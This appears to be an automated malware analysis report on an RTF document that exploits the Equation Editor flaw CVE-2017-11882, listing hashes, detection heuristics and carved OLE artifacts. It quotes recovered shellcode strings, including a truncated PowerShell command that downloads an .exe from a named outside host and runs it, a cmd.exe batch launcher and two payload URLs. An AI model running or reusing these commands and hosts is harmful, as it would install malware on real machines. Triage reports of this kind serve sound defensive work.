RTF malware analysis — malicious · 2851ce4be19377bb

MALICIOUS

RTF

34.3 KB First seen: 2018-07-14

MD5: a6217db1c0f4333a5872cf7bdd0ee80f SHA-1: 43f07e35dca67bb726415b60f127f37b6a456536 SHA-256: 2851ce4be19377bbf82f9448dada4f33f626180c65097a25ecc163a82f9ede90

402 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded Equation Editor object that exploits CVE-2017-11882. This exploit is designed to download and execute a secondary payload from one of the provided URLs. The presence of shellcode and command strings within the extracted OLE object data further supports this attack pattern.

Heuristics 10

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 6 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ccmlongueuil.ca/C3VHMY.bin In RTF body
- http://ushnass.com/C3VHMY.binIn RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000047.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x47	3971 bytes
SHA-256: `2eb139749d6d4445fbc2fcd86999aa1d86e478ca0fa7b6df13d57e12f84e91b1`
`objdata_02_off000040f0.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x40F0	440 bytes
SHA-256: `63d43ae6eb8f8607a7a91c501e0a7ec3b8b7b149b55aaa45bd0650f69bbcfcba`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://ccmlongueuil.ca/C3VHMY.bin, http://ushnass.com/C3VHMY.bin Static shellcode analysis recovered command string(s): PowerShell ""function maked([String] $in){(New-Object System.Net.WebClient).DownloadFile($in,'%TMP%\hwoodie2.exe');Start-Process '%TMP%\hwoodie2.exe';}try{maked('http://c
`objdata_05_off000068bb.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x68BB	3546 bytes
SHA-256: `9bae0f10b86d225ee22d8ff3572e6f70a93122f45a2dc642dd9deff9dda8ff87`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c %TEMP%/task.bat

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